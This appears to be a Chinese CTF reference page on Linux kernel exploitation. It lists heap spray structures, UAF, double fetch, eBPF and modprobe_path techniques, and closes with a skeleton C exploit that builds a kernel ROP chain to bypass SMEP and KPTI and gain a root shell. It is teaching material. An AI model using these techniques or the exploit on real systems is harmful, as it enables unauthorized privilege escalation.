Linux内核漏洞利用

PWN · 知识域。内核态漏洞:从环境搭建到提权落地。标签:Kernel堆风水、Kernel Heap Spray、Kernel UAF、Kernel ROP、Bypass kernel保护、Double Fetch。

触发特征

  • 题目给 bzImage + rootfs.cpio + run.sh(QEMU 启动脚本)。
  • .ko 内核模块交互(dev 节点 ioctl);qemu-system-x86_64 启动内核态。

环境与侦察

  • 搭建:解包 cpio(cpio -idmv < rootfs.cpio)改 init 放 exploit;-s 开 gdbserver,gdb vmlinux 调内核。
  • 提取 vmlinux:extract-vmlinux bzImage;符号:/proc/kallsyms(non-root 给 0)、CONFIG_KALLSYMS_ALL 检查、fg-kallsyms 绕过(读 __ksymtab)。
  • 保护确认:checksec 内核版——KASLR、SMEP、SMAP、KPTI、FG-KASLR(启动参数/配置)、SLAB freelist hardening(CONFIG_SLAB_FREELIST_HARDEN)。
  • 启动参数 nokaslr 调试便利;模块 ioctl 逆向后定漏洞类。

Kernel UAF 与堆操控

  • Kernel Heap Spray:常用结构体按 kmalloc 桶选:
  • kmalloc-32:seq_operations(start 指针,单函数指针 RIP)、tty_file_private
  • kmalloc-64/128:user_key_payload(keyctl)、subprocess_info
  • kmalloc-1k:tty_struct(含 ops 指针 → 假 vtable)
  • 通用:msg_msg、sk_buff、setxattr 临时缓冲、poll_list
  • Kernel UAF:模块 free 后引用; sprayed 结构体占位 → 函数指针/数据指针劫持。
  • Kernel堆风水:先喷射排布再触发漏洞占目标槽;kmalloc size 错配(PlaidCTF 2013);SLUB freelist 指针加密硬化的处理(泄露堆地址解密,或用不依赖 freelist 指针的手法)。
  • 跨缓存攻击:CPU 分裂策略下的 cross-cache(DiceCTF 2026);页级(PTE overlap)文件写(DiceCTF 2026)。

Kernel ROP 与提权原语

  • cred 替换:prepare_kernel_cred(0) + commit_creds(KASLR 破解后 classic ret2usr 组合,无 SMEP 时直接 ret2usr)。
  • Kernel ROP(SMEP+KPTI):canary 泄露(kstack 残留/内核栈溢出)、swapgs_restore_regs_and_return_to_usermode 偏移跳过寄存器弹栈 → 返回用户态执行 system("/bin/sh")。
  • modprobe_path 覆写:写 /tmp/x.sh 触发未知格式文件执行;无需泄露的暴力变体;CONFIG_STATIC_USERMODEHELPER 检查。
  • core_pattern 覆写:|/tmp/x 管道 helper;ROP 内单条写实现。
  • addr_limit 突破:失败 open 调用旁路(Midnight Sun CTF 2018);自定义 binfmt 装载器 OOB + clear_user(CONFidence Teaser 2019)。
  • tty_struct kROP:假 vtable + ioctl 寄存器控制任意写(HTB 系)。
  • I/O 端口 hypercall:用户-内核-管理程序链(HITCON 2018);ACPI DSDT OperationRegion shellcode(hxp 2018)。
  • ARM 侧:fcntl64 set_fs CVE-2015-8966 管道外带(Insomnihack 2019)。

Double Fetch

  • 内核两次读取用户数据(check 一次、use 一次),用户线程窗口内改数据。
  • 扩窗手段:userfaultfd(uffd 被禁时的替代:FUSE、userfaultfd-fd、页面竞争)、MADV_DONTNEED + mprotect(DiceCTF 2026)。
  • CTF 形态:模块 copy_from_user 的 size/flag 校验绕过。

eBPF 与虚拟化面

  • eBPF verifier 绕过:类型混淆/边界检查缺陷(UIUCTF 2021、D³CTF 2022);验证器 log 泄露。
  • KVM guest 分析(ioctl + KVM_EXIT_HLT,CSAW 2018);QEMU 设备模拟漏洞 → 逃逸(高级场)。

工具速查

qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -append "console=ttyS0 nokaslr" -s
gdb ./vmlinux -ex 'target remote :1234'
# ropgadget for kernel: ROPgadget --binary vmlinux | grep swapgs
# 常用:kernel-exploit-factory / CTF-kernel 模板库

转向

例题

内核 ROP 完整模板(SMEP + KPTI)

内核栈溢出 + 全保护开启时的标准提权骨架:保存用户态状态 → 溢出写 ROP(prepare_kernel_cred(0) → commit_creds → KPTI trampoline 返回用户态)→ 用户态起 root shell:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long prepare_kernel_cred, commit_creds,
               pop_rdi_ret, mov_rdi_rax_pop1_ret, kpti_trampoline;
unsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;

void save_state() {                     // 提权成功返回用户态要用的现场
    __asm__(".intel_syntax noprefix;"
        "mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp;"
        "pushf; pop user_rflags; .att_syntax;");
    user_rip = (unsigned long)spawn_shell;
}

void spawn_shell() {
    if (getuid() == 0) system("/bin/sh");
    else { puts("[-] privesc failed"); exit(1); }
}

int main() {
    save_state();
    int fd = open("/dev/hackme", O_RDWR);      // 漏洞模块设备
    // gadget 地址从 vmlinux 提取;开 KASLR 时先泄露内核地址算偏移
    unsigned long payload[256]; int i = 0;
    for (; i < overflow_offset; i++) payload[i] = 0;   // 溢出偏移(cyclic 测)
    payload[i++] = pop_rdi_ret;
    payload[i++] = 0;
    payload[i++] = prepare_kernel_cred;        // cred = prepare_kernel_cred(0)
    payload[i++] = mov_rdi_rax_pop1_ret;       // rdi = rax(cred)
    payload[i++] = 0;
    payload[i++] = commit_creds;               // commit_creds(cred)
    payload[i++] = kpti_trampoline;            // swapgs_restore_regs_and_return_to_usermode
    payload[i++] = 0; payload[i++] = 0;        // 跳过前几个弹栈
    payload[i++] = user_rip; payload[i++] = user_cs;
    payload[i++] = user_rflags; payload[i++] = user_sp; payload[i++] = user_ss;
    write(fd, payload, sizeof(payload));
    return 0;
}

要点:KPTI trampoline 取 swapgs_restore_regs_and_return_to_usermode + 22 左右偏移跳过寄存器弹栈序列,后接 5 个用户态现场值;gadget 用 ROPgadget --binary vmlinux 提取;nokaslr 先在本地调试通过再处理 KASLR 泄露。

评论